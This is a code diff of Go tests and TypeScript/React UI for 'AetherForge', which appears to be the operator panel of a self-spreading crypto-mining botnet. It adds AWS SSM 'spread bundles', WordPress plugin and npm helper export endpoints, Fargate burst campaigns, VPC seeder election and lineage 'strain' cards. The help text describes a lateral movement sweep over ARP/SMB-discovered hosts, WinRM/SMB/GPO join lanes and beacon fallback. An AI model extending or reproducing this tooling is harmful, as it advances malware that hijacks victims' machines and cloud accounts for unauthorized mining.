||||
spreadH.BindDeployPlan(deployH)
|
||||
return spreadH, deployH, store
|
||||
}
|
||||
|
||||
@@ -110,22 +106,24 @@ func TestSyncFargateBurstCampaignEmitsSeerEvent(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestSpreadRouterPreferFargateWhenBurstActive(t *testing.T) {
|
||||
in := spreadrouter.Input{
|
||||
TargetSubnets: []string{"10.4.0"},
|
||||
FargateBurstActive: true,
|
||||
FleetAgents: []spreadrouter.FleetAgentSnapshot{
|
||||
{AgentID: "seed", Subnet: "10.4.0", Clearance: 2, Connected: true},
|
||||
},
|
||||
func TestWSHubFargateBurstCampaignActive(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
database, err := dbpkg.New(dir)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
rt := spreadrouter.Build(in)
|
||||
rec, ok := rt.Recommend("10.4.0")
|
||||
if !ok || !rec.PreferFargateSeeder {
|
||||
t.Fatalf("rec=%+v ok=%v", rec, ok)
|
||||
t.Cleanup(func() { _ = database.Close() })
|
||||
hub := NewWSHub(database)
|
||||
if hub.fargateBurstActive() {
|
||||
t.Fatal("expected inactive before sync")
|
||||
}
|
||||
hint := spreadrouter.ToHint(rec)
|
||||
if hint == nil || !hint.PreferFargateSeeder {
|
||||
t.Fatalf("hint=%+v", hint)
|
||||
hub.SyncFargateBurstCampaign(true, "", 3)
|
||||
if !hub.fargateBurstActive() {
|
||||
t.Fatal("expected active after sync")
|
||||
}
|
||||
hub.SyncFargateBurstCampaign(false, "", 0)
|
||||
if hub.fargateBurstActive() {
|
||||
t.Fatal("expected inactive after clear")
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -85,6 +85,30 @@ func TestAuthSubnetPrimarySeederHint(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestFleetTorrentGossipSameVPCScope(t *testing.T) {
|
||||
database, err := db.New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Cleanup(func() { _ = database.Close() })
|
||||
hub := NewWSHub(database)
|
||||
hub.SetServerPolicy(ServerPolicy{FleetTorrentEnabled: true})
|
||||
hub.storeAgentCloudMeta("vpc-a", CloudInstanceMeta{VpcID: "vpc-42", Region: "us-east-1"})
|
||||
hub.storeAgentCloudMeta("vpc-b", CloudInstanceMeta{VpcID: "vpc-42", Region: "us-east-1"})
|
||||
_ = database.UpsertAgent(&models.Agent{ID: "vpc-a", Name: "a", IP: "10.10.1.1", Status: "online"})
|
||||
_ = database.UpsertAgent(&models.Agent{ID: "vpc-b", Name: "b", IP: "10.20.2.2", Status: "online"})
|
||||
|
||||
if scope := primarySeederScope("10.10.1.1", hub.agentCloudMetaLocked("vpc-a")); scope != "vpc-42" {
|
||||
t.Fatalf("scope=%q", scope)
|
||||
}
|
||||
if !hub.agentMatchesPrimaryScopeLocked("vpc-a", "vpc-42") {
|
||||
t.Fatal("expected vpc-a in vpc-42")
|
||||
}
|
||||
if hub.agentMatchesPrimaryScopeLocked("vpc-b", "vpc-99") {
|
||||
t.Fatal("expected vpc-b mismatch on other vpc")
|
||||
}
|
||||
}
|
||||
|
||||
func TestSubnetPrimarySeederElection(t *testing.T) {
|
||||
database, err := db.New(t.TempDir())
|
||||
if err != nil {
|
||||
|
||||
@@ -19,6 +19,7 @@ import (
|
||||
|
||||
"crypto-miner-server/internal/builder"
|
||||
"crypto-miner-server/internal/db"
|
||||
"crypto-miner-server/internal/erasure"
|
||||
|
||||
"github.com/go-chi/chi/v5"
|
||||
"github.com/go-chi/chi/v5/middleware"
|
||||
@@ -643,11 +644,23 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
||||
// Builder
|
||||
r.Post("/builder/build", builderHandler.ServeHTTP)
|
||||
r.Post("/builder/estimate", builderHandler.ServeEstimate)
|
||||
r.Post("/builder/launch-template", builderHandler.ServeLaunchTemplate)
|
||||
if spreadHandler != nil {
|
||||
r.Post("/builder/spread-kit-export", spreadHandler.ExportSpreadKit)
|
||||
r.Post("/builder/wordpress-plugin-export", spreadHandler.ExportWordPressPlugin)
|
||||
r.Post("/builder/npm-helper-export", spreadHandler.ExportNpmHelper)
|
||||
r.Post("/builder/spread-template-export", spreadHandler.ExportSpreadTemplate)
|
||||
r.Post("/builder/cloud-template-export", spreadHandler.ExportCloudTemplate)
|
||||
r.Post("/builder/cloud-connection-test", spreadHandler.TestCloudConnection)
|
||||
r.Post("/builder/ssm-spread-bundle", spreadHandler.ExportSSMSpreadBundle)
|
||||
erasureSwarmHandler := NewErasureSwarmHandler(
|
||||
func() erasure.AWSSwarmSettings { return erasure.AWSSwarmSettings{} },
|
||||
func() erasure.ShardObjectStore {
|
||||
return &erasure.S3HTTPStore{Settings: erasure.AWSSwarmSettings{}}
|
||||
},
|
||||
)
|
||||
r.Post("/builder/erasure-swarm-test", erasureSwarmHandler.PostTest)
|
||||
r.Get("/builder/erasure-swarm-policy", erasureSwarmHandler.GetPolicyJSON)
|
||||
r.Get("/emberwake/notes", spreadHandler.GetNotes)
|
||||
r.Put("/emberwake/notes", spreadHandler.PutNotes)
|
||||
r.Get("/emberwake/campaigns", spreadHandler.GetCampaigns)
|
||||
|
||||
@@ -1,35 +1,30 @@
|
||||
//go:build ignore
|
||||
|
||||
package api
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"crypto-miner-server/internal/erasure"
|
||||
)
|
||||
|
||||
func TestGetS3CRRTemplate(t *testing.T) {
|
||||
h := NewSpreadHandler(nil, t.TempDir(), t.TempDir(), nil)
|
||||
h.BindS3CRRConfig(func() erasure.S3ShardConfig {
|
||||
return erasure.S3ShardConfig{
|
||||
ShardBucket: "primary", ShardRegion: "us-east-1",
|
||||
CRRDestBucket: "replica", CRRDestRegion: "eu-west-1",
|
||||
}
|
||||
})
|
||||
req := httptest.NewRequest(http.MethodGet, "/api/v1/spread/aws-s3-crr-template", nil)
|
||||
w := httptest.NewRecorder()
|
||||
h.GetS3CRRTemplate(w, req)
|
||||
if w.Code != http.StatusOK {
|
||||
t.Fatalf("status=%d body=%s", w.Code, w.Body.String())
|
||||
}
|
||||
var body map[string]interface{}
|
||||
if err := json.Unmarshal(w.Body.Bytes(), &body); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if body["rule"] == nil {
|
||||
t.Fatalf("body=%v", body)
|
||||
func TestCloudTemplatePathsS3Cloudfront(t *testing.T) {
|
||||
subdir, zip, err := cloudTemplatePaths("s3-cloudfront")
|
||||
if err != nil || subdir != "s3-cloudfront" || zip != "aetherforge-s3-cloudfront.zip" {
|
||||
t.Fatalf("subdir=%q zip=%q err=%v", subdir, zip, err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestBuildS3CRRRuleReplicationRole(t *testing.T) {
|
||||
doc, err := erasure.BuildS3CRRRule(erasure.S3ShardConfig{
|
||||
ShardBucket: "primary", ShardRegion: "us-east-1",
|
||||
CRRDestBucket: "replica", CRRDestRegion: "eu-west-1",
|
||||
ReplicationAccountID: "111122223333",
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
role, _ := doc["Role"].(string)
|
||||
if !strings.Contains(role, "111122223333") {
|
||||
t.Fatalf("role=%q", role)
|
||||
}
|
||||
}
|
||||
|
||||
75
server/internal/api/ssm_spread_test.go
Normal file
75
server/internal/api/ssm_spread_test.go
Normal file
@@ -0,0 +1,75 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/json"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
dbpkg "crypto-miner-server/internal/db"
|
||||
)
|
||||
|
||||
func TestExportSSMSpreadBundle(t *testing.T) {
|
||||
root := integrationWorkspaceRoot(t)
|
||||
database, err := dbpkg.New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Cleanup(func() { _ = database.Close() })
|
||||
hub := NewWSHub(database)
|
||||
h := NewSpreadHandler(database, t.TempDir(), root, hub)
|
||||
|
||||
body, _ := json.Marshal(map[string]string{
|
||||
"server_url": "https://deck.example",
|
||||
"build_id": "pin-ssm",
|
||||
"campaign": "aws-ssm-wave",
|
||||
"platform": "linux",
|
||||
})
|
||||
req := httptest.NewRequest(http.MethodPost, "/api/v1/builder/ssm-spread-bundle", bytes.NewReader(body))
|
||||
rec := httptest.NewRecorder()
|
||||
h.ExportSSMSpreadBundle(rec, req)
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("status=%d body=%s", rec.Code, rec.Body.String())
|
||||
}
|
||||
var resp struct {
|
||||
OK bool `json:"ok"`
|
||||
Bundle SSMSpreadBundle `json:"bundle"`
|
||||
}
|
||||
if err := json.Unmarshal(rec.Body.Bytes(), &resp); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if !resp.OK || resp.Bundle.JoinLane != "ssm_document" {
|
||||
t.Fatalf("bundle=%+v", resp.Bundle)
|
||||
}
|
||||
for _, marker := range []string{"https://deck.example", "pin-ssm", "aws-ssm-wave", "fetchErasureShards"} {
|
||||
if !strings.Contains(resp.Bundle.Document, marker) {
|
||||
t.Fatalf("document missing %q: %s", marker, resp.Bundle.Document)
|
||||
}
|
||||
}
|
||||
if !strings.Contains(resp.Bundle.RunCommand, "deck.example") {
|
||||
t.Fatalf("run_command=%s", resp.Bundle.RunCommand)
|
||||
}
|
||||
if !strings.Contains(resp.Bundle.CreateDocumentCLI, "create-document") {
|
||||
t.Fatalf("cli=%s", resp.Bundle.CreateDocumentCLI)
|
||||
}
|
||||
}
|
||||
|
||||
func TestExportSSMSpreadBundleRequiresServerURL(t *testing.T) {
|
||||
root := integrationWorkspaceRoot(t)
|
||||
h := NewSpreadHandler(nil, t.TempDir(), root, nil)
|
||||
req := httptest.NewRequest(http.MethodPost, "/api/v1/builder/ssm-spread-bundle", strings.NewReader(`{"build_id":"b1"}`))
|
||||
rec := httptest.NewRecorder()
|
||||
h.ExportSSMSpreadBundle(rec, req)
|
||||
if rec.Code != http.StatusBadRequest {
|
||||
t.Fatalf("status=%d", rec.Code)
|
||||
}
|
||||
}
|
||||
|
||||
func TestCloudTemplatePathsSSMDocument(t *testing.T) {
|
||||
subdir, zip, err := cloudTemplatePaths("ssm-document")
|
||||
if err != nil || subdir != "ssm-document" || zip != "aetherforge-ssm-document.zip" {
|
||||
t.Fatalf("subdir=%q zip=%q err=%v", subdir, zip, err)
|
||||
}
|
||||
}
|
||||
@@ -391,6 +391,8 @@ export const api = {
|
||||
}>('/fleet/play-strain-card', { method: 'POST', body: JSON.stringify(body) }),
|
||||
listOathLedger: (limit = 100) =>
|
||||
fetchJSON<import('../types').OathLedgerEntry[]>(`/fleet/oath-ledger?limit=${limit}`),
|
||||
listStrainHospice: (limit = 200) =>
|
||||
fetchJSON<import('../types').StrainHospiceRecord[]>(`/fleet/strain-hospice?limit=${limit}`),
|
||||
|
||||
// Public builds (unauthenticated — used on login page)
|
||||
listPublicBuilds: async (): Promise<PublicBuildsResponse> => {
|
||||
@@ -575,6 +577,77 @@ export const api = {
|
||||
body: JSON.stringify({ session_id: sessionId, branch_id: branchId }),
|
||||
}),
|
||||
|
||||
exportCloudTemplate: async (req: {
|
||||
template: string;
|
||||
server_url: string;
|
||||
build_id?: string;
|
||||
campaign?: string;
|
||||
bucket?: string;
|
||||
cloudfront_domain?: string;
|
||||
minio_endpoint?: string;
|
||||
region?: string;
|
||||
cluster?: string;
|
||||
namespace_name?: string;
|
||||
}) => {
|
||||
const res = await fetch(`${API_BASE}/builder/cloud-template-export`, {
|
||||
method: 'POST',
|
||||
headers: { 'Content-Type': 'application/json', ...authHeaders() },
|
||||
body: JSON.stringify(req),
|
||||
});
|
||||
if (res.status === 401) clearStoredAuth({ expired: true });
|
||||
if (!res.ok) throw new Error(await res.text());
|
||||
const blob = await res.blob();
|
||||
const url = URL.createObjectURL(blob);
|
||||
const a = document.createElement('a');
|
||||
a.href = url;
|
||||
a.download = `aetherforge-${req.template}.zip`;
|
||||
a.click();
|
||||
URL.revokeObjectURL(url);
|
||||
},
|
||||
|
||||
testCloudConnection: (body: { kind: string; endpoint: string; bucket?: string }) =>
|
||||
fetchJSON<{ ok: boolean; reachable: boolean; status?: number; error?: string }>(
|
||||
'/builder/cloud-connection-test',
|
||||
{ method: 'POST', body: JSON.stringify(body) },
|
||||
),
|
||||
|
||||
fetchSSMSpreadBundle: (req: {
|
||||
server_url: string;
|
||||
build_id?: string;
|
||||
campaign?: string;
|
||||
aws_cli_path?: string;
|
||||
platform?: string;
|
||||
}) =>
|
||||
fetchJSON<{
|
||||
ok: boolean;
|
||||
bundle: {
|
||||
join_lane: string;
|
||||
document: string;
|
||||
run_command: string;
|
||||
create_document_cli: string;
|
||||
manifest_url?: string;
|
||||
shard_urls?: string[];
|
||||
fallback_get_url?: string;
|
||||
};
|
||||
}>('/builder/ssm-spread-bundle', { method: 'POST', body: JSON.stringify(req) }),
|
||||
|
||||
forgeLaunchTemplate: (req: import('../help/launchTemplateExport').LaunchTemplateExportRequest) =>
|
||||
fetchJSON<import('../help/launchTemplateExport').LaunchTemplateExportResponse>(
|
||||
'/builder/launch-template',
|
||||
{ method: 'POST', body: JSON.stringify(req) },
|
||||
),
|
||||
|
||||
testErasureSwarm: (body: { s3_bucket: string; cloudfront_domain: string }) =>
|
||||
fetchJSON<{ ok: boolean; error?: string }>('/builder/erasure-swarm-test', {
|
||||
method: 'POST',
|
||||
body: JSON.stringify(body),
|
||||
}),
|
||||
|
||||
getErasureSwarmPolicyJSON: (bucket: string) =>
|
||||
fetchJSON<{ iam_policy: string; bucket_policy: string; env_keys: string[] }>(
|
||||
`/builder/erasure-swarm-policy?bucket=${encodeURIComponent(bucket)}`,
|
||||
),
|
||||
|
||||
// Cancel an in-progress forge build by its cancel token.
|
||||
cancelBuild: (cancelToken: string) =>
|
||||
fetchJSON<{ cancelled: boolean }>(`/builder/cancel/${encodeURIComponent(cancelToken)}`, {
|
||||
|
||||
@@ -29,6 +29,7 @@ vi.mock('../../api/client', () => ({
|
||||
},
|
||||
}),
|
||||
listStrainCards: vi.fn().mockResolvedValue([]),
|
||||
listStrainHospice: vi.fn().mockResolvedValue([]),
|
||||
playStrainCard: vi.fn().mockResolvedValue({ success: true }),
|
||||
},
|
||||
}));
|
||||
@@ -247,6 +248,35 @@ describe('AccessDepthPanel', () => {
|
||||
expect(graftNote.textContent).toMatch(/tier winrm · strain #aabbcc/i);
|
||||
});
|
||||
|
||||
it('disables play and shows hospice tag for retired strains', async () => {
|
||||
vi.mocked(api.listStrainHospice).mockResolvedValueOnce([
|
||||
{ strain_id: 'a1b2c3', retired_at: '2026-06-07T12:00:00Z', retired_by: 'court', reason: 'exhausted' },
|
||||
]);
|
||||
vi.mocked(api.listStrainCards).mockResolvedValueOnce([
|
||||
{
|
||||
id: 'card-hospice',
|
||||
root_agent_id: 'root',
|
||||
source_agent_id: 'a1',
|
||||
source_agent_name: 'Retired',
|
||||
spread_strain: '#a1b2c3',
|
||||
spread_lane: 'winrm',
|
||||
persona: 'silent',
|
||||
parents: [],
|
||||
wins: [],
|
||||
losses: ['docker'],
|
||||
subnets: [],
|
||||
erasure_recovery_rate: 0,
|
||||
peak_hashrate: 0,
|
||||
tier_order: [],
|
||||
tree_size: 1,
|
||||
},
|
||||
]);
|
||||
renderPanel(mockAgent({ id: 'a1', status: 'online', spread_strain: '#a1b2c3' }));
|
||||
expect(await screen.findByText(/strain in hospice — museum read-only lineage/i)).toBeInTheDocument();
|
||||
expect(screen.getByRole('button', { name: /play/i })).toBeDisabled();
|
||||
expect(screen.getByRole('button', { name: /play/i })).toHaveAttribute('title', 'Strain retired to hospice');
|
||||
});
|
||||
|
||||
it('renders lineage strain card with play control', async () => {
|
||||
vi.mocked(api.listStrainCards).mockResolvedValueOnce([
|
||||
{
|
||||
|
||||
@@ -13,7 +13,7 @@ import {
|
||||
formatClearanceElevation,
|
||||
} from '../../help/clearance';
|
||||
import { useWebSocket } from '../../hooks/useWebSocket';
|
||||
import type { Agent, StrainCard } from '../../types';
|
||||
import type { Agent, StrainCard, StrainHospiceRecord } from '../../types';
|
||||
import { HelpTip } from '../HelpTip';
|
||||
import JoinLaneBadge from './JoinLaneBadge';
|
||||
import LotlTierBadge from './LotlTierBadge';
|
||||
@@ -78,6 +78,7 @@ export default function AccessDepthPanel({ agent, diagnostics }: Props) {
|
||||
const [serverPolicy, setServerPolicy] = useState(parseAccessDepthServerPolicy({}));
|
||||
const [elevationFlash, setElevationFlash] = useState<string | null>(null);
|
||||
const [strainCards, setStrainCards] = useState<StrainCard[]>([]);
|
||||
const [hospiceStrains, setHospiceStrains] = useState<Set<string>>(new Set());
|
||||
const [strainPlayBusy, setStrainPlayBusy] = useState<string | null>(null);
|
||||
const flashTimerRef = useRef<number | null>(null);
|
||||
|
||||
@@ -141,6 +142,23 @@ export default function AccessDepthPanel({ agent, diagnostics }: Props) {
|
||||
};
|
||||
}, [agent.id]);
|
||||
|
||||
useEffect(() => {
|
||||
let cancelled = false;
|
||||
api
|
||||
.listStrainHospice()
|
||||
.then((rows: StrainHospiceRecord[]) => {
|
||||
if (!cancelled) {
|
||||
setHospiceStrains(new Set(rows.map((r: StrainHospiceRecord) => r.strain_id.trim().toLowerCase())));
|
||||
}
|
||||
})
|
||||
.catch(() => {
|
||||
if (!cancelled) setHospiceStrains(new Set());
|
||||
});
|
||||
return () => {
|
||||
cancelled = true;
|
||||
};
|
||||
}, []);
|
||||
|
||||
useEffect(() => {
|
||||
if (!latestMessage) return;
|
||||
if (latestMessage.type === 'strain_card' || latestMessage.type === 'strain_card_played') {
|
||||
@@ -154,8 +172,13 @@ export default function AccessDepthPanel({ agent, diagnostics }: Props) {
|
||||
}
|
||||
}, [latestMessage, agent.id]);
|
||||
|
||||
const strainInHospice = (strain?: string) => {
|
||||
const id = strain?.trim().toLowerCase().replace(/^#/, '') ?? '';
|
||||
return id !== '' && hospiceStrains.has(id);
|
||||
};
|
||||
|
||||
const playStrainCard = async (card: StrainCard) => {
|
||||
if (strainPlayBusy) return;
|
||||
if (strainPlayBusy || strainInHospice(card.spread_strain)) return;
|
||||
setStrainPlayBusy(card.id);
|
||||
try {
|
||||
await api.playStrainCard({ agent_id: agent.id, card_id: card.id });
|
||||
@@ -232,6 +255,11 @@ export default function AccessDepthPanel({ agent, diagnostics }: Props) {
|
||||
) : (
|
||||
<div className="access-depth-muted">No join lane yet</div>
|
||||
)}
|
||||
{strainInHospice(agent.spread_strain) && (
|
||||
<div className="access-depth-hospice-note access-depth-muted">
|
||||
strain in hospice — museum read-only lineage
|
||||
</div>
|
||||
)}
|
||||
{(agent.parent_agent_id || agent.spread_generation || agent.spread_strain) && (
|
||||
<div className="access-depth-lineage" data-strain={agent.spread_strain?.replace(/^#/, '') ?? ''}>
|
||||
lineage gen {agent.spread_generation ?? 0}
|
||||
@@ -266,13 +294,24 @@ export default function AccessDepthPanel({ agent, diagnostics }: Props) {
|
||||
) : null}
|
||||
<span className="access-depth-strain-card-title">
|
||||
strain · {card.persona}
|
||||
{strainInHospice(card.spread_strain) ? (
|
||||
<span className="access-depth-tag access-depth-tag--skip"> hospice</span>
|
||||
) : null}
|
||||
</span>
|
||||
<button
|
||||
type="button"
|
||||
className="access-depth-strain-play"
|
||||
disabled={agent.status !== 'online' || strainPlayBusy === card.id}
|
||||
disabled={
|
||||
agent.status !== 'online' ||
|
||||
strainPlayBusy === card.id ||
|
||||
strainInHospice(card.spread_strain)
|
||||
}
|
||||
onClick={() => playStrainCard(card)}
|
||||
title={`Play ${card.source_agent_name} lineage preset`}
|
||||
title={
|
||||
strainInHospice(card.spread_strain)
|
||||
? 'Strain retired to hospice'
|
||||
: `Play ${card.source_agent_name} lineage preset`
|
||||
}
|
||||
>
|
||||
{strainPlayBusy === card.id ? '…' : 'play'}
|
||||
</button>
|
||||
|
||||
@@ -1,14 +1,16 @@
|
||||
/** @vitest-environment happy-dom */
|
||||
import { describe, expect, it, vi, beforeEach } from 'vitest';
|
||||
import { describe, expect, it, vi } from 'vitest';
|
||||
import { render, screen } from '@testing-library/react';
|
||||
import CloudSpreadPanel from './CloudSpreadPanel';
|
||||
import { api } from '../../api/client';
|
||||
|
||||
vi.mock('../../api/client', () => ({
|
||||
api: {
|
||||
exportCloudTemplate: vi.fn().mockResolvedValue(undefined),
|
||||
testCloudConnection: vi.fn().mockResolvedValue({ ok: true, reachable: true, status: 'ok' }),
|
||||
},
|
||||
}));
|
||||
|
||||
describe('CloudSpreadPanel', () => {
|
||||
beforeEach(() => {
|
||||
vi.spyOn(api, 'exportCloudTemplate').mockResolvedValue(undefined);
|
||||
vi.spyOn(api, 'testCloudConnection').mockResolvedValue({ ok: true, reachable: true });
|
||||
});
|
||||
|
||||
it('renders cloud ecosystem hub', () => {
|
||||
render(<CloudSpreadPanel serverUrl="https://deck.example" />);
|
||||
|
||||
@@ -147,6 +147,7 @@ describe('FIELD_HELP', () => {
|
||||
'forge_deliverable',
|
||||
'forge_operation_mode',
|
||||
'forge_path_forge',
|
||||
'aws_erasure_swarm',
|
||||
] as const;
|
||||
|
||||
it('defines help text for every documented field key', () => {
|
||||
|
||||
@@ -198,4 +198,6 @@ export const FIELD_HELP: Record<string, string> = {
|
||||
'Minutes without a live WebSocket before the agent switches to HTTPS beacon polling. Default 3.',
|
||||
webhook_url:
|
||||
'Optional operator webhook (T1071.005 lite). Calibrate POSTs JSON {event, title, message} on fleet events. Complements Telegram — not an agent transport channel.',
|
||||
aws_erasure_swarm:
|
||||
'S3 + CloudFront erasure swarm: deploy plans upload RS 4+2 shards when AF_AWS_* and AF_CLOUDFRONT_* env creds are set. Test connection runs S3 HeadBucket locally; IAM/bucket policy JSON is generated for your operator AWS account — the server does not provision resources.',
|
||||
};
|
||||
|
||||
@@ -34,6 +34,7 @@ describe('UI_HELP', () => {
|
||||
'crucible_pause',
|
||||
'crucible_full_audit',
|
||||
'crucible_posture_badge',
|
||||
'crucible_vpc_seeder',
|
||||
'crucible_master_terminal',
|
||||
'crucible_section_agent',
|
||||
'crucible_section_system',
|
||||
@@ -64,6 +65,7 @@ describe('UI_HELP', () => {
|
||||
'fm_encrypt_path',
|
||||
'pt_path_tracer',
|
||||
'pt_agent_chain',
|
||||
'pt_onion_timeline',
|
||||
'pt_subnet_autopsy',
|
||||
'fleet_runtime_policy',
|
||||
'fleet_runtime_modules',
|
||||
@@ -94,6 +96,8 @@ describe('UI_HELP', () => {
|
||||
'ew_war_room_stats_table',
|
||||
'ew_war_room_constellations',
|
||||
'ew_war_room_leak',
|
||||
'ew_cloud_aws',
|
||||
'ew_cloud_generic',
|
||||
'crucible_btn_spread_now',
|
||||
'crucible_btn_subnet_scan',
|
||||
'crucible_btn_hole_punch',
|
||||
|
||||
@@ -63,6 +63,8 @@ export const UI_HELP: Record<string, string> = {
|
||||
'Deep posture scan (30–60s): firewall, WAN IP, geo, DNS, ARP, subnet scan, hardware, and listeners.',
|
||||
crucible_posture_badge:
|
||||
'Quick security summary from the last heartbeat: AV, firewall, SSH, elevation, and patch state.',
|
||||
crucible_vpc_seeder:
|
||||
'AWS EC2 agents report vpc-id from IMDS. Fleet Torrent elects one VPC seeder per vpc-id; badge shows VPC seeder (primary) or VPC leecher (secondary seeder in same VPC).',
|
||||
crucible_master_terminal:
|
||||
'Command output and errors from bulk ops stream here. Green lines succeeded; red lines failed.',
|
||||
crucible_section_agent:
|
||||
@@ -128,6 +130,8 @@ export const UI_HELP: Record<string, string> = {
|
||||
'On-demand multi-hop WireGuard VPN through up to 3 Windows agents. Scan the QR or import the .conf on your phone.',
|
||||
pt_agent_chain:
|
||||
'Pick agents in order — traffic hops through each node. Windows only; max 3 hops. Click TRACE to orchestrate tunnels.',
|
||||
pt_onion_timeline:
|
||||
'Fork-merge onion timeline for Path Tracer chains — ghost branches per hop, merge winning strains, and skip hospice-retired spread lanes when picking merge parents.',
|
||||
|
||||
fleet_runtime_policy:
|
||||
'Push live mining policy (schedule, CPU cap, optional pool override) to online agents without re-forging.',
|
||||
@@ -192,6 +196,10 @@ export const UI_HELP: Record<string, string> = {
|
||||
'Force-directed map: node size = hits, brightness = online agents, color = conversion %, edges = shared pin/build. Click a star to highlight its funnel card below.',
|
||||
ew_war_room_leak:
|
||||
'Automated funnel leak hints when a stage drops sharply (e.g. downloads but no beacons). LEAK = critical drop; Drip = minor — follow the suggested action on each card.',
|
||||
ew_cloud_aws:
|
||||
'AWS spread kits: S3+CloudFront erasure shards, SSM documents, Launch Templates, Fargate burst, EventBridge fan-out, and Cloud Map snippets. Connection test is HTTP reachability only — operator applies templates in their AWS account.',
|
||||
ew_cloud_generic:
|
||||
'Vendor-neutral cloud kits: MinIO S3-compatible staging and curl-manifest shard lists. Point bucket/endpoint fields at your operator-owned origin.',
|
||||
|
||||
crucible_btn_spread_now:
|
||||
'Triggers the lateral movement sweep immediately on selected nodes — tries discovered LAN IPs from ARP, SMB, and subnet scan results. Requires Remote Aggressive Ops capability; a prior subnet scan or ARP run gives it more targets.',
|
||||
|
||||
@@ -16,6 +16,7 @@ import CruciblePage, {
|
||||
postureBadge,
|
||||
postureTooltip,
|
||||
contingencyDepthBadge,
|
||||
vpcSeederBadge,
|
||||
sshBadge,
|
||||
thermalBadge,
|
||||
} from './CruciblePage';
|
||||
@@ -356,6 +357,14 @@ describe('CruciblePage helpers', () => {
|
||||
expect(contingencyDepthBadge(mockAgent({ contingency_depth: 10 }))?.cls).toBe('cn-contingency-deep');
|
||||
});
|
||||
|
||||
it('vpcSeederBadge shows VPC seeder and leecher roles', () => {
|
||||
expect(vpcSeederBadge(mockAgent({}))).toBeNull();
|
||||
expect(vpcSeederBadge(mockAgent({ cloud_vpc_id: 'vpc-abc' }))).toBeNull();
|
||||
expect(vpcSeederBadge(mockAgent({ cloud_vpc_id: 'vpc-abc', vpc_primary_seeder: true }))?.label).toBe('VPC seeder');
|
||||
expect(vpcSeederBadge(mockAgent({ cloud_vpc_id: 'vpc-abc', fleet_role: 'seeder' }))?.label).toBe('VPC leecher');
|
||||
expect(vpcSeederBadge(mockAgent({ cloud_vpc_id: 'vpc-abc', vpc_primary_seeder: true, fleet_role: 'seeder' }))?.label).toBe('VPC seeder');
|
||||
});
|
||||
|
||||
it('postureTooltip includes defender, DNS drift, and services', () => {
|
||||
const agent = mockAgent({
|
||||
defender_enabled: true,
|
||||
|
||||
@@ -276,6 +276,14 @@ export function contingencyDepthBadge(agent: Agent): { label: string; cls: strin
|
||||
return { label: `ONION ${depth}`, cls: depth >= 8 ? 'cn-contingency-deep' : 'cn-contingency' };
|
||||
}
|
||||
|
||||
/** AWS VPC seeder election — one primary seeder per vpc-id (or /24 fallback). */
|
||||
export function vpcSeederBadge(agent: Agent): { label: string; cls: string } | null {
|
||||
if (!agent.cloud_vpc_id?.trim()) return null;
|
||||
if (agent.vpc_primary_seeder) return { label: 'VPC seeder', cls: 'cn-vpc-seeder' };
|
||||
if (agent.fleet_role === 'seeder') return { label: 'VPC leecher', cls: 'cn-vpc-leecher' };
|
||||
return null;
|
||||
}
|
||||
|
||||
// ── Service helpers (T1007) ────────────────────────────────────────────────
|
||||
|
||||
// Human-readable label for well-known service names
|
||||
@@ -1207,6 +1215,11 @@ export default function CruciblePage() {
|
||||
{cb.label}
|
||||
</div>
|
||||
); })()}
|
||||
{(() => { const vb = vpcSeederBadge(a); return vb && (
|
||||
<div className={`cn-vpc ${vb.cls}`} title={`AWS VPC ${a.cloud_vpc_id}${a.cloud_region ? ` · ${a.cloud_region}` : ''}`}>
|
||||
{vb.label}
|
||||
</div>
|
||||
); })()}
|
||||
<RiskBadge findings={a.vuln_findings} />
|
||||
<div className={`cn-ssh ${ssh.cls}`}>{ssh.label}</div>
|
||||
<div
|
||||
|
||||
@@ -106,6 +106,11 @@ export interface Agent {
|
||||
vuln_risk_score?: number;
|
||||
/** Last successful discover_and_join deploy lane (winrm, smb, gpo, docker, …). */
|
||||
join_lane?: string;
|
||||
/** AWS EC2 instance metadata (VPC seeder/leecher badges). */
|
||||
cloud_vpc_id?: string;
|
||||
cloud_subnet_id?: string;
|
||||
cloud_region?: string;
|
||||
vpc_primary_seeder?: boolean;
|
||||
|
||||
/** Session security clearance L0–L4 (live from server). */
|
||||
clearance_level?: number;
|
||||
@@ -129,6 +134,15 @@ export interface Agent {
|
||||
inherited_phenotype?: InheritedPhenotype;
|
||||
}
|
||||
|
||||
/** Retired spread strain preserved for museum read-only lineage. */
|
||||
export interface StrainHospiceRecord {
|
||||
strain_id: string;
|
||||
retired_at: string;
|
||||
retired_by: string;
|
||||
reason: string;
|
||||
card_json?: string;
|
||||
}
|
||||
|
||||
/** Light gamification card for a winning spread tree lineage. */
|
||||
export interface StrainCard {
|
||||
id: string;
|
||||
@@ -378,6 +392,10 @@ export interface ServerSettings {
|
||||
ai_persona?: string;
|
||||
/** Split seeders (LAN staging) from miners (RandomX) with auth role hints. */
|
||||
fleet_roles_enabled?: boolean;
|
||||
/** S3 bucket for RS erasure shard swarm (Calibrate AWS panel). */
|
||||
aws_s3_shard_bucket?: string;
|
||||
/** CloudFront domain for signed shard URLs. */
|
||||
aws_cloudfront_domain?: string;
|
||||
/** Reed–Solomon multi-lane shard metadata on signed deploy plans (default off). */
|
||||
erasure_lanes_enabled?: boolean;
|
||||
/** Fleet Torrent shard DHT + cross-subnet gossip (default off). */
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
# AetherForge Test Suite
|
||||
|
||||
